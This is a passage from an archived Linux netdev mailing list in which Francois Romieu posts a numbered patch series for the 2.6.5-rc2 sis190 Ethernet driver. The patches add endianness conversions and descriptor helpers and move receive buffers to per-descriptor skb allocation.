RX_BUF_SIZE; + len = RX_BUF_SIZE + ENDbit * !((i + 1) % NUM_RX_DESC); tp->RxBufferRing[i] = tp->RxBufferRings + i * RX_BUF_SIZE; - desc->buf_addr = pci_map_single(tp->pci_dev, + mapping = pci_map_single(tp->pci_dev, tp->RxBufferRing[i], RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - desc->status = OWNbit | INTbit; + desc->buf_addr = cpu_to_le32(mapping); + desc->buf_Len = cpu_to_le32(len); + desc->status = cpu_to_le32(OWNbit | INTbit); } } @@ -1001,13 +1002,13 @@ SiS190_rx_interrupt(struct net_device *d assert(tp != NULL); assert(ioaddr != NULL); - while ((desc->status & OWNbit) == 0) { + while ((le32_to_cpu(desc->status) & OWNbit) == 0) { - if (desc->PSize & 0x0080000) { + if (cpu_to_le32(desc->PSize) & RxCRC) { printk(KERN_INFO "%s: Rx ERROR!!!\n", dev->name); tp->stats.rx_errors++; tp->stats.rx_length_errors++; - } else if (!(desc->PSize & 0x0010000)) { + } else if (!(cpu_to_le32(desc->PSize) & 0x0010000)) { printk(KERN_INFO "%s: Rx ERROR!!!\n", dev->name); tp->stats.rx_errors++; tp->stats.rx_crc_errors++; @@ -1015,37 +1016,32 @@ SiS190_rx_interrupt(struct net_device *d struct sk_buff *skb; int pkt_size; - pkt_size = (int) (desc->PSize & 0x0000FFFF) - 4; + pkt_size = (cpu_to_le32(desc->PSize) & 0x0000FFFF) - 4; skb = dev_alloc_skb(pkt_size + 2); if (skb != NULL) { skb->dev = dev; skb_reserve(skb, 2); // 16 byte align the IP fields. // pci_dma_sync_single_for_cpu(tp->pci_dev, - desc->buf_addr, - RX_BUF_SIZE, - PCI_DMA_FROMDEVICE); + le32_to_cpu(desc->buf_addr), + RX_BUF_SIZE, PCI_DMA_FROMDEVICE); eth_copy_and_sum(skb, tp->RxBufferRing[cur_rx], pkt_size, 0); pci_dma_sync_single_for_device(tp->pci_dev, - desc->buf_addr, - RX_BUF_SIZE, - PCI_DMA_FROMDEVICE); + le32_to_cpu(desc->buf_addr), + RX_BUF_SIZE, PCI_DMA_FROMDEVICE); skb_put(skb, pkt_size); skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); desc->PSize = 0x0; - if (cur_rx == (NUM_RX_DESC - 1)) - desc->buf_Len = ENDbit + RX_BUF_SIZE; - else - desc->buf_Len = RX_BUF_SIZE; - + desc->buf_Len = cpu_to_le32(RX_BUF_SIZE + + ENDbit * !((cur_rx + 1) % NUM_RX_DESC)); dev->last_rx = jiffies; tp->stats.rx_bytes += pkt_size; tp->stats.rx_packets++; - desc->status = OWNbit | INTbit; + desc->status = cpu_to_le32(OWNbit | INTbit); } else { printk(KERN_WARNING "%s: Memory squeeze, deferring packet.\n", @@ -1142,8 +1138,9 @@ SiS190_close(struct net_device *dev) tp->rx_dma); tp->TxDescArray = NULL; for (i = 0; i < NUM_RX_DESC; i++) { - pci_unmap_single(tp->pci_dev, tp->RxDescArray[i].buf_addr, - RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + pci_unmap_single(tp->pci_dev, + le32_to_cpu(tp->RxDescArray[i].buf_addr), RX_BUF_SIZE, + PCI_DMA_FROMDEVICE); tp->RxBufferRing[i] = NULL; } tp->RxDescArray = NULL; _ From romieu@fr.zoreil.com Fri Mar 26 18:17:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:17:21 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2HCKO015947 for ; Fri, 26 Mar 2004 18:17:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2Dpgf031308; Sat, 27 Mar 2004 03:13:51 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2DpYO031307; Sat, 27 Mar 2004 03:13:51 +0100 Date: Sat, 27 Mar 2004 03:13:51 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 4/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031351.D31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> <20040327031302.C31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031302.C31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:13:02AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1677 Lines: 55 New helpers (shamelessly stolen from r8169 driver): - sis190_mark_as_last_descriptor; - sis190_give_to_asic. drivers/net/sis190.c | 20 ++++++++++++++------ 1 files changed, 14 insertions(+), 6 deletions(-) diff -puN drivers/net/sis190.c~sis190-dma-api-rx-buffers-00 drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-dma-api-rx-buffers-00 2004-03-27 02:35:56.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-27 02:36:46.000000000 +0100 @@ -806,6 +806,17 @@ SiS190_hw_start(struct net_device *dev) } +static inline void sis190_mark_as_last_descriptor(struct RxDesc *desc) +{ + desc->buf_Len |= cpu_to_le32(ENDbit); +} + +static inline void sis190_give_to_asic(struct RxDesc *desc, dma_addr_t mapping) +{ + desc->buf_addr = cpu_to_le32(mapping); + desc->status |= cpu_to_le32(OWNbit | INTbit); +} + static int SiS190_init_ring(struct net_device *dev) { struct sis190_private *tp = dev->priv; @@ -828,19 +839,16 @@ static int SiS190_init_ring(struct net_d for (i = 0; i < NUM_RX_DESC; i++) { struct RxDesc *desc = tp->RxDescArray + i; dma_addr_t mapping; - u32 len; desc->PSize = 0x0; - - len = RX_BUF_SIZE + ENDbit * !((i + 1) % NUM_RX_DESC); + desc->buf_Len = cpu_to_le32(RX_BUF_SIZE); tp->RxBufferRing[i] = tp->RxBufferRings + i * RX_BUF_SIZE; mapping = pci_map_single(tp->pci_dev, tp->RxBufferRing[i], RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - desc->buf_addr = cpu_to_le32(mapping); - desc->buf_Len = cpu_to_le32(len); - desc->status = cpu_to_le32(OWNbit | INTbit); + sis190_give_to_asic(desc, mapping); } + sis190_mark_as_last_descriptor(tp->RxDescArray + NUM_RX_DESC - 1); return 0; _ From romieu@fr.zoreil.com Fri Mar 26 18:17:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:17:18 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2HCKO015949 for ; Fri, 26 Mar 2004 18:17:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2FQgf031318; Sat, 27 Mar 2004 03:15:26 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2FQSF031317; Sat, 27 Mar 2004 03:15:26 +0100 Date: Sat, 27 Mar 2004 03:15:26 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 6/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031526.F31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> <20040327031302.C31053@electric-eye.fr.zoreil.com> <20040327031351.D31053@electric-eye.fr.zoreil.com> <20040327031443.E31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031443.E31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:14:43AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1376 Lines: 35 Add dirty_rx (unused so far). drivers/net/sis190.c | 9 +++++---- 1 files changed, 5 insertions(+), 4 deletions(-) diff -puN drivers/net/sis190.c~sis190-dma-api-rx-buffers-20 drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-dma-api-rx-buffers-20 2004-03-27 02:37:25.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-27 02:37:25.000000000 +0100 @@ -310,9 +310,10 @@ struct sis190_private { struct net_device_stats stats; /* statistics of net device */ spinlock_t lock; /* spin lock flag */ int chipset; - unsigned long cur_rx; /* Index into the Rx descriptor buffer of next Rx pkt. */ - unsigned long cur_tx; /* Index into the Tx descriptor buffer of next Rx pkt. */ - unsigned long dirty_tx; + u32 cur_rx; /* Index into the Rx descriptor buffer of next Rx pkt. */ + u32 cur_tx; /* Index into the Tx descriptor buffer of next Tx pkt. */ + u32 dirty_rx; + u32 dirty_tx; dma_addr_t tx_dma; dma_addr_t rx_dma; struct TxDesc *TxDescArray; /* Index of 256-alignment Tx Descriptor buffer */ @@ -854,7 +855,7 @@ static int SiS190_init_ring(struct net_d { struct sis190_private *tp = dev->priv; - tp->cur_rx = 0; + tp->cur_rx = tp->dirty_rx = 0; tp->cur_tx = tp->dirty_tx = 0; memset(tp->TxDescArray, 0x0, NUM_TX_DESC * sizeof (struct TxDesc)); memset(tp->RxDescArray, 0x0, NUM_RX_DESC * sizeof (struct RxDesc)); _ From romieu@fr.zoreil.com Fri Mar 26 18:17:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:17:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2HDKO015950 for ; Fri, 26 Mar 2004 18:17:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2G8gf031322; Sat, 27 Mar 2004 03:16:08 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2G8ip031321; Sat, 27 Mar 2004 03:16:08 +0100 Date: Sat, 27 Mar 2004 03:16:08 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 7/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031608.G31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> <20040327031302.C31053@electric-eye.fr.zoreil.com> <20040327031351.D31053@electric-eye.fr.zoreil.com> <20040327031443.E31053@electric-eye.fr.zoreil.com> <20040327031526.F31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031526.F31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:15:26AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 5421 Lines: 185 Replace the giant receive buffer with individually allocated skb. drivers/net/sis190.c | 86 +++++++++++++++++++++++++++++++++++---------------- 1 files changed, 60 insertions(+), 26 deletions(-) diff -puN drivers/net/sis190.c~sis190-dma-api-rx-buffers-30 drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-dma-api-rx-buffers-30 2004-03-27 02:37:47.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-27 02:37:47.000000000 +0100 @@ -290,6 +290,9 @@ enum _DescStatusBit { ENDbit = 0x80000000, }; +/* FIXME: datasheet, anyone ? */ +#define RsvdMask 0x00000000 + struct TxDesc { u32 PSize; u32 status; @@ -318,9 +321,8 @@ struct sis190_private { dma_addr_t rx_dma; struct TxDesc *TxDescArray; /* Index of 256-alignment Tx Descriptor buffer */ struct RxDesc *RxDescArray; /* Index of 256-alignment Rx Descriptor buffer */ - unsigned char *RxBufferRings; /* Index of Rx Buffer */ - unsigned char *RxBufferRing[NUM_RX_DESC]; /* Index of Rx Buffer array */ - struct sk_buff *Tx_skbuff[NUM_TX_DESC]; /* Index of Transmit data buffer */ + struct sk_buff *Rx_skbuff[NUM_TX_DESC]; /* Rx data buffer */ + struct sk_buff *Tx_skbuff[NUM_TX_DESC]; /* Tx data buffer */ }; MODULE_AUTHOR("K.M. Liu "); @@ -812,6 +814,22 @@ static inline void sis190_mark_as_last_d desc->buf_Len |= cpu_to_le32(ENDbit); } +static inline void sis190_make_unusable_by_asic(struct RxDesc *desc) +{ + desc->buf_addr = 0xdeadbeef; + desc->status &= ~cpu_to_le32(OWNbit | RsvdMask); +} + +static void sis190_free_rx_skb(struct pci_dev *pdev, struct sk_buff **sk_buff, + struct RxDesc *desc) +{ + pci_unmap_single(pdev, le32_to_cpu(desc->buf_addr), RX_BUF_SIZE, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(*sk_buff); + *sk_buff = NULL; + sis190_make_unusable_by_asic(desc); +} + static inline void sis190_give_to_asic(struct RxDesc *desc, dma_addr_t mapping) { desc->buf_addr = cpu_to_le32(mapping); @@ -819,19 +837,47 @@ static inline void sis190_give_to_asic(s } static int sis190_alloc_rx_skb(struct pci_dev *pdev, struct net_device *dev, - char *tail, struct RxDesc *desc) + struct sk_buff **sk_buff, struct RxDesc *desc) { + struct sk_buff *skb; dma_addr_t mapping; int ret = 0; - mapping = pci_map_single(pdev, tail, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + skb = dev_alloc_skb(RX_BUF_SIZE + 2); + if (!skb) + goto err_out; + + skb->dev = dev; + skb_reserve(skb, 2); + *sk_buff = skb; + + mapping = pci_map_single(pdev, skb->tail, RX_BUF_SIZE, + PCI_DMA_FROMDEVICE); desc->PSize = 0x0; desc->buf_Len |= cpu_to_le32(RX_BUF_SIZE); sis190_give_to_asic(desc, mapping); +out: return ret; + +err_out: + ret = -ENOMEM; + sis190_make_unusable_by_asic(desc); + goto out; +} + +static void sis190_rx_clear(struct sis190_private *tp) +{ + int i; + + for (i = 0; i < NUM_RX_DESC; i++) { + if (tp->Rx_skbuff[i]) { + sis190_free_rx_skb(tp->pci_dev, tp->Rx_skbuff + i, + tp->RxDescArray + i); + } + } } static u32 sis190_rx_fill(struct sis190_private *tp, struct net_device *dev, @@ -842,8 +888,10 @@ static u32 sis190_rx_fill(struct sis190_ for (cur = start; end - cur > 0; cur++) { int ret, i = cur % NUM_RX_DESC; - ret = sis190_alloc_rx_skb(tp->pci_dev, dev, - tp->RxBufferRings + i * RX_BUF_SIZE, + if (tp->Rx_skbuff[i]) + continue; + + ret = sis190_alloc_rx_skb(tp->pci_dev, dev, tp->Rx_skbuff + i, tp->RxDescArray + i); if (ret < 0) break; @@ -861,24 +909,17 @@ static int SiS190_init_ring(struct net_d memset(tp->RxDescArray, 0x0, NUM_RX_DESC * sizeof (struct RxDesc)); memset(tp->Tx_skbuff, 0x0, NUM_TX_DESC * sizeof(struct sk_buff *)); - - tp->RxBufferRings = kmalloc(RX_BUF_SIZE * NUM_RX_DESC, GFP_KERNEL); - if (tp->RxBufferRings == NULL) { - printk(KERN_INFO "%s: allocate RxBufferRing failed\n", - dev->name); - goto err_out; - } + memset(tp->Rx_skbuff, 0x0, NUM_RX_DESC * sizeof(struct sk_buff *)); if (sis190_rx_fill(tp, dev, 0, NUM_RX_DESC) != NUM_RX_DESC) - goto err_out_free; + goto err_out; sis190_mark_as_last_descriptor(tp->RxDescArray + NUM_RX_DESC - 1); return 0; -err_out_free: - kfree(tp->RxBufferRings); err_out: + sis190_rx_clear(tp); return -ENOMEM; } @@ -1065,7 +1106,7 @@ SiS190_rx_interrupt(struct net_device *d pci_dma_sync_single_for_cpu(tp->pci_dev, le32_to_cpu(desc->buf_addr), RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - eth_copy_and_sum(skb, tp->RxBufferRing[cur_rx], + eth_copy_and_sum(skb, tp->Rx_skbuff[cur_rx]->tail, pkt_size, 0); pci_dma_sync_single_for_device(tp->pci_dev, le32_to_cpu(desc->buf_addr), @@ -1150,7 +1191,6 @@ SiS190_close(struct net_device *dev) { struct sis190_private *tp = dev->priv; void *ioaddr = tp->mmio_addr; - int i; netif_stop_queue(dev); @@ -1173,19 +1213,13 @@ SiS190_close(struct net_device *dev) free_irq(dev->irq, dev); SiS190_tx_clear(tp); + sis190_rx_clear(tp); pci_free_consistent(tp->pci_dev, TX_DESC_TOTAL_SIZE, tp->TxDescArray, tp->tx_dma); pci_free_consistent(tp->pci_dev, RX_DESC_TOTAL_SIZE, tp->RxDescArray, tp->rx_dma); tp->TxDescArray = NULL; - for (i = 0; i < NUM_RX_DESC; i++) { - pci_unmap_single(tp->pci_dev, - le32_to_cpu(tp->RxDescArray[i].buf_addr), RX_BUF_SIZE, - PCI_DMA_FROMDEVICE); - tp->RxBufferRing[i] = NULL; - } tp->RxDescArray = NULL; - kfree(tp->RxBufferRings); return 0; } _ From romieu@fr.zoreil.com Fri Mar 26 18:17:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:17:25 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2HDKO015951 for ; Fri, 26 Mar 2004 18:17:14 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2H5gf031326; Sat, 27 Mar 2004 03:17:05 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2H5rN031325; Sat, 27 Mar 2004 03:17:05 +0100 Date: Sat, 27 Mar 2004 03:17:05 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 8/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031705.H31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> <20040327031302.C31053@electric-eye.fr.zoreil.com> <20040327031351.D31053@electric-eye.fr.zoreil.com> <20040327031443.E31053@electric-eye.fr.zoreil.com> <20040327031526.F31053@electric-eye.fr.zoreil.com> <20040327031608.G31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031608.G31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:16:08AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 5408 Lines: 184 - sis190_rx_interrupt converted to classical Rx skb handling; - rx_copybreak *new. Some similarity with the r8169 driver can not be excluded. drivers/net/sis190.c | 116 ++++++++++++++++++++++++++++++++++----------------- 1 files changed, 78 insertions(+), 38 deletions(-) diff -puN drivers/net/sis190.c~sis190-dma-api-rx-buffers-40 drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-dma-api-rx-buffers-40 2004-03-27 02:38:14.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-27 02:42:39.000000000 +0100 @@ -149,6 +149,8 @@ static struct pci_device_id sis190_pci_t MODULE_DEVICE_TABLE(pci, sis190_pci_tbl); +static int rx_copybreak = 200; + enum SiS190_registers { TxControl = 0x0, TxDescStartAddr = 0x4, @@ -329,6 +331,7 @@ MODULE_AUTHOR("K.M. Liu " MODULE_DESCRIPTION("SiS SiS190 Gigabit Ethernet driver"); MODULE_LICENSE("GPL"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "i"); +MODULE_PARM(rx_copybreak, "i"); static int SiS190_open(struct net_device *dev); static int SiS190_start_xmit(struct sk_buff *skb, struct net_device *dev); @@ -830,6 +833,13 @@ static void sis190_free_rx_skb(struct pc sis190_make_unusable_by_asic(desc); } + +static inline void sis190_return_to_asic(struct RxDesc *desc) +{ + desc->PSize = 0x0; + desc->status |= cpu_to_le32(OWNbit | INTbit); +} + static inline void sis190_give_to_asic(struct RxDesc *desc, dma_addr_t mapping) { desc->buf_addr = cpu_to_le32(mapping); @@ -1073,18 +1083,49 @@ SiS190_tx_interrupt(struct net_device *d } } +static inline int sis190_try_rx_copy(struct sk_buff **sk_buff, int pkt_size, + struct RxDesc *desc, + struct net_device *dev) +{ + int ret = -1; + + if (pkt_size < rx_copybreak) { + struct sk_buff *skb; + + skb = dev_alloc_skb(pkt_size + 2); + if (skb) { + skb->dev = dev; + skb_reserve(skb, 2); + eth_copy_and_sum(skb, sk_buff[0]->tail, pkt_size, 0); + *sk_buff = skb; + sis190_return_to_asic(desc); + ret = 0; + } + } + return ret; +} + static void SiS190_rx_interrupt(struct net_device *dev, struct sis190_private *tp, void *ioaddr) { - int cur_rx = tp->cur_rx; - struct RxDesc *desc = tp->RxDescArray + cur_rx; + unsigned long cur_rx, rx_left; + int delta; assert(dev != NULL); assert(tp != NULL); assert(ioaddr != NULL); - while ((le32_to_cpu(desc->status) & OWNbit) == 0) { + cur_rx = tp->cur_rx; + rx_left = NUM_RX_DESC + tp->dirty_rx - cur_rx; + + while (rx_left > 0) { + int entry = cur_rx % NUM_RX_DESC; + struct RxDesc *desc = tp->RxDescArray + entry; + u32 status = le32_to_cpu(desc->status); + + if (status & OWNbit) + break; if (cpu_to_le32(desc->PSize) & RxCRC) { printk(KERN_INFO "%s: Rx ERROR!!!\n", dev->name); @@ -1095,43 +1136,33 @@ SiS190_rx_interrupt(struct net_device *d tp->stats.rx_errors++; tp->stats.rx_crc_errors++; } else { - struct sk_buff *skb; - int pkt_size; + struct sk_buff *skb = tp->Rx_skbuff[entry]; + void (*dma_op)(struct pci_dev *, dma_addr_t, size_t, + int); + int pkt_size; pkt_size = (cpu_to_le32(desc->PSize) & 0x0000FFFF) - 4; - skb = dev_alloc_skb(pkt_size + 2); - if (skb != NULL) { - skb->dev = dev; - skb_reserve(skb, 2); // 16 byte align the IP fields. // - pci_dma_sync_single_for_cpu(tp->pci_dev, - le32_to_cpu(desc->buf_addr), - RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - eth_copy_and_sum(skb, tp->Rx_skbuff[cur_rx]->tail, - pkt_size, 0); - pci_dma_sync_single_for_device(tp->pci_dev, - le32_to_cpu(desc->buf_addr), - RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - skb_put(skb, pkt_size); - skb->protocol = eth_type_trans(skb, dev); - netif_rx(skb); - - desc->PSize = 0x0; - - desc->buf_Len = cpu_to_le32(RX_BUF_SIZE + - ENDbit * !((cur_rx + 1) % NUM_RX_DESC)); - dev->last_rx = jiffies; - tp->stats.rx_bytes += pkt_size; - tp->stats.rx_packets++; - - desc->status = cpu_to_le32(OWNbit | INTbit); - } else { - printk(KERN_WARNING - "%s: Memory squeeze, deferring packet.\n", - dev->name); - /* We should check that some rx space is free. - If not, free one and mark stats->rx_dropped++. */ - tp->stats.rx_dropped++; - } + + dma_op = pci_dma_sync_single_for_cpu; + dma_op(tp->pci_dev, le32_to_cpu(desc->buf_addr), + RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + + if (sis190_try_rx_copy(&skb, pkt_size, desc, dev) < 0) { + tp->Rx_skbuff[entry] = NULL; + dma_op = pci_unmap_single; + } else + dma_op = pci_dma_sync_single_for_device; + + dma_op(tp->pci_dev, le32_to_cpu(desc->buf_addr), + RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + + skb_put(skb, pkt_size); + skb->protocol = eth_type_trans(skb, dev); + netif_rx(skb); + + dev->last_rx = jiffies; + tp->stats.rx_bytes += pkt_size; + tp->stats.rx_packets++; } cur_rx = (cur_rx + 1) % NUM_RX_DESC; @@ -1139,6 +1170,15 @@ SiS190_rx_interrupt(struct net_device *d } tp->cur_rx = cur_rx; + + delta = sis190_rx_fill(tp, dev, tp->dirty_rx, tp->cur_rx); + if (delta > 0) + tp->dirty_rx += delta; + else if (delta < 0) + printk(KERN_INFO "%s: no Rx buffer allocated\n", dev->name); + + if (tp->dirty_rx + NUM_RX_DESC == tp->cur_rx) + printk(KERN_EMERG "%s: Rx buffers exhausted\n", dev->name); } /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ _ From romieu@fr.zoreil.com Fri Mar 26 18:17:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:17:24 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2HCKO015948 for ; Fri, 26 Mar 2004 18:17:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2Ehgf031312; Sat, 27 Mar 2004 03:14:43 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2Ehl2031311; Sat, 27 Mar 2004 03:14:43 +0100 Date: Sat, 27 Mar 2004 03:14:43 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 5/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031443.E31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> <20040327031302.C31053@electric-eye.fr.zoreil.com> <20040327031351.D31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031351.D31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:13:51AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 2198 Lines: 83 Still no functionnal change. See r8169 driver for details. drivers/net/sis190.c | 49 +++++++++++++++++++++++++++++++++++++------------ 1 files changed, 37 insertions(+), 12 deletions(-) diff -puN drivers/net/sis190.c~sis190-dma-api-rx-buffers-10 drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-dma-api-rx-buffers-10 2004-03-27 02:37:12.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-27 02:37:12.000000000 +0100 @@ -817,10 +817,42 @@ static inline void sis190_give_to_asic(s desc->status |= cpu_to_le32(OWNbit | INTbit); } +static int sis190_alloc_rx_skb(struct pci_dev *pdev, struct net_device *dev, + char *tail, struct RxDesc *desc) +{ + dma_addr_t mapping; + int ret = 0; + + mapping = pci_map_single(pdev, tail, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + + desc->PSize = 0x0; + desc->buf_Len |= cpu_to_le32(RX_BUF_SIZE); + + sis190_give_to_asic(desc, mapping); + + return ret; +} + +static u32 sis190_rx_fill(struct sis190_private *tp, struct net_device *dev, + u32 start, u32 end) +{ + u32 cur; + + for (cur = start; end - cur > 0; cur++) { + int ret, i = cur % NUM_RX_DESC; + + ret = sis190_alloc_rx_skb(tp->pci_dev, dev, + tp->RxBufferRings + i * RX_BUF_SIZE, + tp->RxDescArray + i); + if (ret < 0) + break; + } + return cur - start; +} + static int SiS190_init_ring(struct net_device *dev) { struct sis190_private *tp = dev->priv; - int i; tp->cur_rx = 0; tp->cur_tx = tp->dirty_tx = 0; @@ -836,22 +868,15 @@ static int SiS190_init_ring(struct net_d goto err_out; } - for (i = 0; i < NUM_RX_DESC; i++) { - struct RxDesc *desc = tp->RxDescArray + i; - dma_addr_t mapping; - - desc->PSize = 0x0; - desc->buf_Len = cpu_to_le32(RX_BUF_SIZE); + if (sis190_rx_fill(tp, dev, 0, NUM_RX_DESC) != NUM_RX_DESC) + goto err_out_free; - tp->RxBufferRing[i] = tp->RxBufferRings + i * RX_BUF_SIZE; - mapping = pci_map_single(tp->pci_dev, - tp->RxBufferRing[i], RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - sis190_give_to_asic(desc, mapping); - } sis190_mark_as_last_descriptor(tp->RxDescArray + NUM_RX_DESC - 1); return 0; 